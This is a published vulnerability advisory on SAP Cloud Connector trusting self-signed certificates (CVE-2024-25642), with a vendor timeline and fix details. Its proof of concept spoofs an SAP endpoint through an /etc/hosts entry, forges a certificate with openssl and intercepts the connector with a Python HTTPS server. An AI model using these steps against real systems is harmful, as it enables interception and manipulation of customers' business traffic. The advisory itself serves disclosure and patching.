SAP Cloud Connector 2.16.1 Missing Validation

`SEC Consult Vulnerability Lab Security Advisory < 20240513-0 >  
=======================================================================  
title: Tolerating Self-Signed Certificates  
product: SAP® Cloud Connector  
vulnerable version: 2.15.0 - 2.16.1 (Portable and Installer)  
fixed version: 2.16.2 (Portable and Installer)  
CVE number: CVE-2024-25642  
impact: high  
homepage: https://www.sap.com/about.html  
found: 2023-11-13  
by: Mingshuo Li (Office Munich)  
Fabian Hagg  
SEC Consult Vulnerability Lab  
  
An integrated part of SEC Consult, an Eviden business  
Europe | Asia  
  
https://www.sec-consult.com  
  
=======================================================================  
  
Vendor description:  
-------------------  
"The Cloud Connector is an optional on-premise component that is needed to  
integrate on-demand applications with customer backend services and is the  
counterpart of SAP Connectivity service."  
  
Source: https://tools.hana.ondemand.com/#cloud  
  
  
Business recommendation:  
------------------------  
SEC Consult recommends to implement the security note 3424610, where the  
documented issue is fixed in version 2.16.2 according to the vendor. We  
advise installing the correction as a matter of priority to keep  
business-critical data secured.  
  
Source: https://support.sap.com/en/my-support/knowledge-base/security-notes-news/february-2024.html  
  
  
Vulnerability overview/description:  
-----------------------------------  
1) Tolerating Self-Signed Certificates (CVE-2024-25642)  
As per vendor documentation, the authentication between SCC and SAP BTP is guaranteed  
mutually:  
  
"The tunnel itself is using TLS with strong encryption of the communication,  
and mutual authentication of both communication sides, the client side  
(Cloud Connector) and the server side (SAP BTP)."  
  
Source: https://help.sap.com/docs/connectivity/sap-btp-connectivity-cf/inbound-connectivity#tls-tunnel  
  
It was however discovered that the SCC trusts self-signed X.509 server certificates  
for transport security to establish outbound connections with cloud-related  
endpoints. Thus, an attacker can impersonate the genuine servers to interact  
with the SCC, hence breaking the mutual authentication promise. Our analysis shows  
furthermore that the product does not implement Certificate Pinning for the  
trusted endpoints.  
  
The security impact of this vulnerability is rated high due to the trust put  
into self-signed certificates, SCC is unable to distinguish between genuine and  
malicious SAP BTP endpoints, rendering trivial adversary-in-the-middle attacks  
possible.  
  
  
Proof of concept:  
-----------------  
1) Tolerating Self-Signed Certificates (CVE-2024-25642)  
A "tunnel" established between a subaccount of SAP BTP and SCC represents a  
long-lived bi-directional WebSocket over TLS customized by the vendor.  
Such a tunnel is initiated by the SCC, known as reverse invoke approach,  
to give the administrator full control of the tunnel.  
  
Two tunnels established by SCC are protected by TLS with respect to encrypted  
communication. However, SCC does not verify the authenticity of the  
certification authority, hence allowing an attacker to impersonate the target  
server, using self-signed certificates.  
  
In particular, the attack is targeted at the following two endpoints, but not  
limited to the region host us10.  
  
- connectivitynotification.cf.us10.hana.ondemand.com  
- connectivity.us10.trial.applicationstudio.cloud.sap  
  
Note that the following endpoint, which is used for the initial certificate  
signing request by SCC and to receive the BTP subaccount credentials, is  
not susceptible to this issue.  
  
- connectivitycertsigning.cf.us10.hana.ondemand.com  
  
Nonetheless, it suffices to silently eavesdrop and manipulate network traffic  
between SCC and SAP BTP by impersonating the two vulnerable endpoints above.  
  
Without loss of generality, the first endpoint is taken as example to  
demonstrate the issue by the following steps:  
  
1. Add an entry in /etc/hosts of the SCC host as below to resolve the host name  
to an attacker-controlled IP address:  
  
192.168.1.100 connectivitynotification.cf.us10.hana.ondemand.com  
  
2. Generate a self-signed certificate with the spoofed hostname as common name  
  
```  
$ openssl req -x509 -newkey rsa:4096 -keyout conn-noti-key.pem -out conn-noti-cert.pem -sha256 -days 3650 -nodes -subj "/C=DE/ST=Baden-Wuerttemberg/L=Walldorf/O=SAP   
SE/OU=ITSecurity/CN=connectivitynotification.cf.us10.hana.ondemand.com"  
```  
  
3. Start an HTTPS server on the attacker machine to receive the connection from  
SCC, using the self-signed certificate created in step 2  
  
The following Python script can be used to start the HTTPS server:  
```  
$ cat https-dummy-server.py  
import http.server  
import ssl  
  
server_address = ("192.168.1.100", 443)  
httpd = http.server.HTTPServer(server_address, http.server.SimpleHTTPRequestHandler)  
httpd.socket = ssl.wrap_socket(httpd.socket,  
server_side=True,  
certfile="self-signed-cert/conn-noti-cert.pem",  
keyfile="self-signed-cert/conn-noti-key.pem",  
ssl_version=ssl.PROTOCOL_TLS)  
httpd.serve_forever()  
```  
  
4. Connect to a subaccount of BTP, for example US East AWS, in the SCC  
Administration UI  
  
As soon as the connection is launched, the dummy web server will receive the  
request as shown below:  
  
```  
$ python3 https-dummy-server.py  
192.168.1.200 - - [10/Nov/2023 12:00:00] "GET /connectivity HTTP/1.1" 200 -  
```  
  
This observation confirms that the TLS connection between SCC and the spoofed  
BTP endpoint operated on the attacker's machine has been successfully established  
although the server presented a self-signed certificate. No security warning  
message is being displayed in the Administration UI, making the attack  
surreptitious.  
  
  
Vulnerable / tested versions:  
-----------------------------  
The following versions have been tested which were the latest versions available  
at the time of the test:  
  
* SAP Cloud Connector Linux x86_64 Version 2.16.0  
* SAP Cloud Connector Linux (Portable) x86_64 Version 2.16.0  
  
According to the vendor, the vulnerability is a regression and affects the  
versions 2.15.0 - 2.16.1.  
  
  
Vendor contact timeline:  
------------------------  
2023-11-14: Contacting vendor through vulnerability submission web form  
2023-11-17: Vendor confirms receipt and assign SAP security incident numbers to  
the four submitted findings: 2370150975, 2370150977, 2370150994, 2370151022  
2023-11-20: Vendor informs the reported issues be assigned the appropriate  
development teams for analysis  
2023-12-05: Requesting status update  
2023-12-05: Vendor informs that 2370151022 be rejected  
2023-12-05: Issuing rebuttal for 2370151022  
2023-12-06: Vendor contemplates further analysis  
2023-12-14: Vendor decides not to take any action on 2370151022 and rejects  
2370150977 and 2370150975 as well.  
2023-12-15: Vendor accepts 2370150994  
2024-01-05: Asked vendor to comment on the three rejected issues  
2024-01-10: Vendor gives detailed rationale for the rejection of 2370150975  
2024-01-12: Issuing rebuttal for 2370150975  
2024-01-15: Vendor insists on rejection of 2370150975 and closes the ticket.  
Removing three rejected potential security issues from advisory.  
2024-02-13: Release of SAP Security Patch Day, security note #3424610  
2024-02-26: Asking for the disclosure guideline to publish finding 2370150994  
2024-02-26: Vendor confirms the three-month embargo  
2024-05-13: Coordinated release of SEC Consult advisory.  
  
  
Solution:  
---------  
The vendor provides a patched version 2.16.2 which can be downloaded from their  
website:  
https://tools.hana.ondemand.com/#cloud  
  
Also see the vendor's security note #3424610 for further details:  
https://me.sap.com/notes/3424610  
  
  
Workaround:  
-----------  
None  
  
  
Advisory URL:  
-------------  
https://sec-consult.com/vulnerability-lab/  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
SEC Consult Vulnerability Lab  
An integrated part of SEC Consult, an Eviden business  
Europe | Asia  
  
About SEC Consult Vulnerability Lab  
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an  
Eviden business. It ensures the continued knowledge gain of SEC Consult in the  
field of network and application security to stay ahead of the attacker. The  
SEC Consult Vulnerability Lab supports high-quality penetration testing and  
the evaluation of new offensive and defensive technologies for our customers.  
Hence our customers obtain the most current information about vulnerabilities  
and valid recommendation about the risk profile of new technologies.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Interested to work with the experts of SEC Consult?  
Send us your application https://sec-consult.com/career/  
  
Interested in improving your cyber security with the experts of SEC Consult?  
Contact our local offices https://sec-consult.com/contact/  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Mail: security-research at sec-consult dot com  
Web: https://www.sec-consult.com  
Blog: https://blog.sec-consult.com  
Twitter: https://twitter.com/sec_consult  
  
EOF M. Li, F. Hagg / @2024  
`